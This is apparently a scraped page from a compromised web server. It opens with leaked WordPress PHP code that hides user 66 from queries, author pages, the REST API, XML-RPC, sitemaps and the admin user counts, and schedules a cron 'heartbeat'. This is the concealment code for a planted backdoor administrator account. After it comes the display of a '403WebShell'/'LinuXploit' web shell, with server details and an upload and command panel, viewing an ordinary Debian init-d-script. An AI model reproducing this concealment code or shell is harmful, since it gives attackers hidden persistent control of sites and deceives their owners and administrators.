add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/current/usr/lib/init/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/current/usr/lib/init/init-d-script
#!/bin/sh
# See init-d-script(5) for instructions on how to use this library.
#=============================================================================

# Shift arguments early to fix #826214
__init_d_script_name="$1"
shift

# Define LSB log_* functions.
# Depend on lsb-base (>= 3.2-14) to ensure that this file is present
# and status_of_proc is working.
. /lib/lsb/init-functions

# PATH should only include /usr/* if it runs after the mountnfs.sh
# script.  Scripts running before mountnfs.sh should remove the /usr/*
# entries.
PATH=/usr/sbin:/usr/bin:/sbin:/bin
export PATH

is_call_implemented() {
	PATH= command -V $1 >/dev/null 2>&1
}

do_usage() {
	if is_call_implemented do_reload ; then
		echo "Usage: $SCRIPTNAME {start|stop|status|reload|restart|try-restart|force-reload}" >&2
	else
		echo "Usage: $SCRIPTNAME {start|stop|status|restart|try-restart|force-reload}" >&2
	fi
}

call() {
	cmd="$1"
	shift
	if is_call_implemented ${cmd}_override ; then
	    ${cmd}_override "$@"
	else
            ${cmd} "$@"
        fi
}

#
# Function that starts the daemon/service
#

do_start_cmd() {
	start-stop-daemon --start --quiet \
	    ${PIDFILE:+--pidfile "$PIDFILE"} \
	    ${COMMAND_NAME:+--name "$COMMAND_NAME"} \
	    ${DAEMON:+--exec "$DAEMON"} $START_ARGS -- $DAEMON_ARGS
}

do_start()
{
	if is_call_implemented do_start_prepare ; then
		call do_start_prepare
	fi
	log_daemon_msg "Starting $DESC" "$NAME"
	call do_start_cmd
	retval=$?
	if [ "$retval" = 1 ] && [ no != "$VERBOSE" ] ; then
		log_progress_msg "is already running"
	fi
	retval=$(( $retval > 1 ))
	vlog_end_msg $retval
	if is_call_implemented do_start_cleanup ; then
		call do_start_cleanup
	fi
	return $retval
}

#
# Function that stops the daemon/service
#

do_stop_cmd() {
	start-stop-daemon --stop --quiet \
	    --retry=TERM/0/CONT/30/KILL/5 \
	    ${PIDFILE:+--pidfile "$PIDFILE"} \
	    ${COMMAND_NAME:+--name "$COMMAND_NAME"} \
	    ${DAEMON:+--exec "$DAEMON"} $STOP_ARGS
	RETVAL="$?"
	[ "$RETVAL" = 2 ] && return 2
	# Wait for children to finish too if this is a daemon that forks
	# and if the daemon is only ever run from this initscript.
	# If the above conditions are not satisfied then add some other code
	# that waits for the process to drop all resources that could be
	# needed by services started subsequently.  A last resort is to
	# sleep for some time.
	if [ -n "$DAEMON" ] ; then
		start-stop-daemon --stop --quiet --oknodo \
		    --retry=0/30/KILL/5 --exec "$DAEMON" $STOP_ARGS
		[ "$?" = 2 ] && return 2
	fi
	# Many daemons don't delete their pidfiles when they exit.
	rm -f $PIDFILE
	return $RETVAL
}

do_stop()
{
	if is_call_implemented do_stop_prepare ; then
		call do_stop_prepare
	fi
	vlog_daemon_msg "Stopping $DESC" "$NAME"
	call do_stop_cmd
	retval=$?
	if [ "$retval" = 1 ] && [ no != "$VERBOSE" ] ; then
		log_progress_msg "is not running"
	fi
	retval=$(( $retval > 1 ))
	vlog_end_msg $retval
	if is_call_implemented do_stop_cleanup ; then
		call do_stop_cleanup
	fi
	return $retval
}

do_restart() {
	if is_call_implemented do_restart_prepare ; then
		call do_restart_prepare
	fi
	vlog_daemon_msg "Restarting $DESC" "$NAME"
	call do_stop_cmd
	retval=$(( $? > 1 ))
	if [ $retval -eq 0 ] ; then
		call do_start_cmd
		retval=$(( $? > 1 ))
	fi
	vlog_end_msg $retval
	if is_call_implemented do_restart_cleanup ; then
		call do_restart_cleanup
	fi
	return $retval
}

# Wrapper for do_reload_cmd
do_reload_wrapper() {
	if is_call_implemented do_reload_prepare ; then
		call do_reload_prepare
	fi
	vlog_daemon_msg "Reloading $DESC configuration files" "$NAME"
	call do_reload_cmd
	retval=$(( $? != 0 ))
	vlog_end_msg $retval
	if is_call_implemented do_reload_cleanup ; then
		call do_reload_cleanup
	fi
	return $retval
}

# To enable this function, RELOAD_SIGNAL should be set to the kill signal
do_reload_signal() {
	start-stop-daemon --stop --signal $RELOAD_SIGNAL --quiet \
	    ${PIDFILE:+--pidfile "$PIDFILE"} \
	    ${COMMAND_NAME:+--name "$COMMAND_NAME"} \
	    ${DAEMON:+--exec "$DAEMON"} $RELOAD_ARGS
}

# Deprecated: use RELOAD_SIGNAL instead for newer scripts
# Enable this using
# alias do_reload=do_reload_sigusr1
do_reload_sigusr1() {
	RELOAD_SIGNAL=1
	do_reload_cmd() { do_reload_signal; }
	do_reload_wrapper
}

do_status() {
	status_of_proc ${PIDFILE:+-p "$PIDFILE"} "${DAEMON:-none}" "$NAME"
}

if [ "$DEBUG" = "true" ] ; then
    set -x
fi

# Unset configuration variables to make sure that if variable is not assigned a
# value in init script, it does not use one from environment. See #822918.
unset DAEMON DAEMON_ARGS DESC NAME COMMAND_NAME PIDFILE \
    RELOAD_ARGS RELOAD_SIGNAL START_ARGS STOP_ARGS

SCRIPTNAME="$__init_d_script_name"
scriptbasename=${__init_d_script_name##*/}
if [ "$scriptbasename" != "init-d-script" ] ; then
    . "$__init_d_script_name"
else
    exit 0
fi

: ${NAME:=${DAEMON##*/}}
: ${DESC:=$NAME}
: ${COMMAND_NAME:=${NAME}}

# Do not use pid file if $PIDFILE is 'none'.  Otherwise, generate from
# $NAME or use the value provided by the init.d script.
if [ none = "$PIDFILE" ] ; then
    PIDFILE=
elif [ -z "$PIDFILE" ] ; then
    PIDFILE=/var/run/$NAME.pid
fi

# Read configuration variable file if it is present
[ -r "/etc/default/${NAME}" ] && . "/etc/default/${NAME}"

# Exit if the package is not installed
if [ none != "$DAEMON" ] && [ ! -x "$DAEMON" ] ; then
	exit 0
fi

# Do not use DAEMON or COMMAND_NAME if they are set to 'none'.
[ none = "$DAEMON" ] && DAEMON=
[ none = "$COMMAND_NAME" ] && COMMAND_NAME=

# Load the VERBOSE setting and other rcS variables
. /lib/init/vars.sh
if [ -t 0 ] ; then # Be verbose when called from a terminal
    VERBOSE=yes
fi

# Setup do_reload if not already defined
if ! is_call_implemented do_reload ; then
	if ! is_call_implemented do_reload_cmd && [ -n "$RELOAD_SIGNAL" ]
	then
		do_reload_cmd() { do_reload_signal; }
	fi
	if is_call_implemented do_reload_cmd ; then
		alias do_reload=do_reload_wrapper
	fi
fi

case "$1" in
  start)
	call do_start
	;;
  stop)
	call do_stop
	;;
  status)
	call do_status
	;;
  reload)
	if is_call_implemented do_reload ; then
		do_reload
	else
		call do_usage
		exit 3
	fi
	;;
  force-reload)
	if is_call_implemented do_force_reload ; then
		call do_force_reload
	elif is_call_implemented do_reload ; then
		do_reload
	else
		call do_restart
	fi
	;;
  restart)
	call do_restart
	;;
  try-restart)
	vlog_daemon_msg "Trying to restart $DESC" "$NAME"
	if (call do_status) >/dev/null ; then
		(call do_restart) >/dev/null
	else
		[ no != "$VERBOSE" ] && log_progress_msg "is not running"
		true
    	fi
	vlog_end_msg $?
	;;
  '')
	call do_usage
	exit 3
	;;
  *)
	if is_call_implemented do_unknown ; then
	    call do_unknown "$1"
	    exit 3
	else
	    call do_usage
	    exit 3
	fi
	;;
esac
exit $? # See https://bugs.debian.org/822753#53

Youez - 2016 - github.com/yon3zu
LinuXploit